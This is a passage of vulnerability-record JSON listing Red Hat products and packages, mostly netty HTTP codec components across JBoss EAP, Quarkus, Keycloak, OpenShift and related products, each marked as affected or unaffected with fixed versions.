\"packageName\": \"cryostat/cryostat-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4 on RHEL 9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"4.2.0-10\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"cryostat/jfr-datasource-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:apache_camel_spring_boot:4.18\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quarkus:3.27::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Quarkus 3.27.4\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quarkus:3.33::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Quarkus 3.33.2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_data_grid:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Data Grid 8.6.2\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4.25\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.16.0-22.redhat_00057.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-activemq-artemis\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.3.14-11.SP11_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-glassfish-jsf\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:1.5.26-2.Final_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-ironjacamar\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-annotations\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-core\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-databind\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-jaxrs-providers\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-modules-base\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.18.8-1.redhat_00003.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jackson-modules-java8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:5.0.31-3.SP2_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jboss-remoting\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:1.10.0-46.Final_redhat_00044.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-jboss-server-migration\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:4.1.135-1.Final_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:4.1.135-1.Final_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-netty-transport-native-epoll\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.5.5-30.SP12_redhat_00020.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-picketlink-bindings\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.5.5-24.SP12_redhat_00016.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-picketlink-federation\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.2.40-2.SP3_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-undertow\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:7.4.25-2.GA_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-wildfly\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 8.1\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_streams:2.9::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Streams for Apache Kafka 2.9.4\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"codec-http2\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"netty\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai:2.25::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI 2.25\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783443816\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"rhoai/odh-modelmesh-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.28\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1780948325\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/openvsx-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.28\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1780696380\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/pluginregistry-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.28\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1780694994\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/server-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.29::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.29\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782989027\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/multicluster-redirector-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-ekb-dispatcher-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-ekb-receiver-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:serverless:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Serverless\", \"packageName\": \"openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_broker:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat AMQ Broker 7\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_broker:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat AMQ Broker 7\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_clients:2023\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat AMQ Clients\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:camel_quarkus:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel 4 for Quarkus 3\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:camel_quarkus:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel 4 for Quarkus 3\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:service_registry:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 2\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_registry:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 2\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:apicurio_registry:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 3\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:apicurio_registry:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 3\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:debezium:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Debezium 3\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:debezium:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Debezium 3\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"rhbk/keycloak-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"rhbk/keycloak-rhel9-operator\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"rhbk-openshift-rhel9/rhbk-openshift-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"packageName\": \"rhbk-rhel9-operator/rhbk-rhel9-operator\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:optaplanner:::el6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of OptaPlanner 8\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:optaplanner:::el6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of OptaPlanner 8\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"bazel6\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"bazel7\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"bazel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 8\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jbosseapxp\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform Expansion Pack\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jbosseapxp\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform Expansion Pack\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-modelmesh-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-spark-operator-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-cpu-torch210-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-cpu-torch291-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-cuda130-torch210-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-cuda130-torch291-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-th06-rocm64-torch291-py312-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-trustyai-service-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-trustyai-service-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Process Automation 7\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Process Automation 7\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": 